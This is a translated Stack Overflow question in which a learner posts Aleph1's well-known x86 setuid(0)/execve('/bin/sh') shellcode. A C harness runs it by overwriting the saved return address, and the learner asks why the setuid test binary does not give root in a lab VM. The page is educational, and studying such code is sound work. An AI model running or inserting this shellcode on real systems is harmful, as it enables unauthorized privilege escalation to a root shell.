c - 我有这个代码.... 道德黑客

标签 c linux shellcode

我正在关注这本关于道德黑客的电子书,我到达了 Linux 漏洞利用章节,这是带有 Aleph 的 1 代码的代码。

//shellcode.c

char shellcode[] = //setuid(0) & Aleph1's famous shellcode, see ref.

"\x31\xc0\x31\xdb\xb0\x17\xcd\x80" //setuid(0) first

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

"\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main() { //main function

    int *ret; //ret pointer for manipulating saved return.

    ret = (int *)&ret + 2; //setret to point to the saved return

    //value on the stack.

    (*ret) = (int)shellcode; //change the saved return value to the

    //address of the shellcode, so it executes.

}

我给它 super 用户权限,用

chmod u+s shellcode

作为 super 用户,然后回到普通用户

su - normal_user

但是当我运行 ./shellcode 时,我应该是 root 用户,但我仍然是 normal_user 所以有帮助吗?? 顺便说一句,我正在研究 BT4-Final,我关闭了 ASLR,并在 VMWare 中运行 BT4...

最佳答案

如果这是一个老漏洞...它不应该早就被修复了吗?

顺便说一句,作为个人建议:不要太蹩脚地使用那个昵称然后四处询问漏洞。

facepalm

关于c - 我有这个代码.... 道德黑客,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/2790206/

相关文章:

c - Linux 上的 ASLR 限制

python - ImportError : libpython3. 7m.so.1.0:无法打开共享对象文件:没有这样的文件或目录

c++ - 在 Linux 上编译简单信号代码时从 void* 到 void (*) int 的无效转换

使用 shellcode 调用 x86 本地函数

c - 十六进制格式说明符在 shellcode 中产生不可预测的结果

c - 对 "array of words"使用字符与指针

c - 在 C Programming Language Counting characters 一书中

c++ - CUDA:达到计算能力 3.0 的 blockIdx.x 的最大可能值

linux - shellcode错误段错误(核心转储)

c++ - 尝试研究 shine MPEG Layer-III 编码器 - 获取 "redeclaration of C++ built-in type ' bool'"